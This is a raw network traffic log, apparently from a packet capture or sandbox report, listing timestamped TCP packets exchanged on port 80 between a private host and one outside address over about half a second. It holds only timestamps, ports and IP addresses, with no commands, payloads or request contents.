Dec 12, 2024 16:48:05.718302011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.718411922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.773030043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.773147106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.773227930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.773380995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.773422003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.773518085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.774194002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.774297953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.774359941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.774960041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.775384903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.809235096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.809422016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.809520960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.809537888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.809582949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.809652090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.809739113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.810262918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.810372114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.810400963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.811090946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.811270952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.811333895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.811922073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.811964035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.812025070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.812673092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.812741041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.812812090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.813400984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.813534975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.813538074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.813786983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.814249992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.814304113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.814368010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.815001965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.815109015 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.815171003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.815752029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.815913916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.815923929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.816464901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.816514015 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.816606045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.816627979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.816744089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.817351103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.817473888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.817532063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.818203926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.818223953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.818280935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.818883896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.818942070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.819004059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.819221973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.819710016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.819730043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.819794893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.820441961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.820513010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.820580006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.820641041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.821227074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.821295977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.821371078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.821548939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.822010040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.822072983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.822128057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.822834969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.822922945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.823151112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.823234081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.823571920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.823632956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.823683023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.823786974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.887824059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.887897968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.888107061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.888166904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.888241053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.888278008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.888398886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.888417006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.888461113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.889131069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.889266014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.889273882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.889380932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.889980078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.890088081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.890099049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.890141964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.890749931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.890892982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.890955925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.891047001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.891510963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.891669035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.891674042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.891724110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.892265081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.892321110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.892402887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.892452955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.893023014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.893215895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.893264055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.893992901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.894082069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.894141912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.894707918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.894748926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.894751072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.895421028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.895483971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.895514011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.896193981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.896291971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.896348000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.896953106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.897073030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.897104025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.897738934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.897809982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.897814989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.898164034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.898586988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.898689032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.898792982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.899333954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.899492025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.899919987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.900098085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.900162935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.900204897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.900291920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.900866985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.900994062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.901005983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.901082993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.901685953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.901829958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.901885986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.902504921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.902561903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.902625084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.902693033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.903275013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.903335094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.903348923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.903397083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.903999090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.904130936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.904194117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.904827118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.904974937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.904977083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.905066967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.905661106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.905739069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.905765057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.905802011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.906378984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.906440020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.906483889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.906584024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.907280922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.907300949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.907362938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.907929897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.908000946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.908066988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.908154011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.908723116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.908792019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.909006119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.909121037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.909508944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.909595013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.909648895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.909729958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.910258055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.910342932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.910358906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.910375118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.965173006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.965295076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.965369940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.965543985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.965610981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.965651035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.966352940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.966403008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.966578007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.967109919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.967164040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.001153946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.001199007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.001272917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.001724005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.001743078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.001796961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.002315998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.002434969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.002454042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.002547026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.003192902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.003360987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.003387928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.003442049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.003969908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.004036903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.004106998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.004196882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.004801035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.004842043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.004909039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.005525112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.005546093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.005605936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.006133080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.006215096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.006232023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.006282091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.007215977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.007283926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.007376909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.007452011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.007932901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.008003950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.008136988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.008203030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.008668900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.008789062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.009401083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.009433985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.009521008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.009583950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.010185957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.010281086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.010332108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.010366917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.010745049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.010786057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.010838032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.011554956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.011683941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.012315989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.012368917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.012415886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.013089895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.013129950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.013186932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.013885021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.013991117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.014046907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.014626980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.014751911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.014802933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.015464067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.015541077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.015588045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.016000032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.016182899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.016259909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.080547094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.080710888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.080960989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.080962896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.081120014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.081234932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.081279993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.081321955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.082036972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.082175016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.082248926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.082770109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.082809925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.082880020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.083379030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.083420038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.083487034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.084206104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.084279060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.084280968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.085022926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.085042953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.085108042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.085731030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.085810900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.085865974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.086503029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.086623907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.087132931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.087301970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.087430000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.088118076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.088166952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.088195086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.088251114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.088834047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.088957071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.088957071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.089632034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.089690924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.089746952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.090432882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.090497971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.090558052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.090655088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.091218948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.091373920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.091389894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.091495037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.091989040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.092058897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.092093945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.092222929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.092756033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.092825890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.092901945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.093075991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.093600988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.093652010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.093694925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.093801975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.094301939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.094594002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.094786882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.094856024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:06.095102072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.095120907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:06.095159054 CET	49819	80	192.168.2.11	80.82.65.70
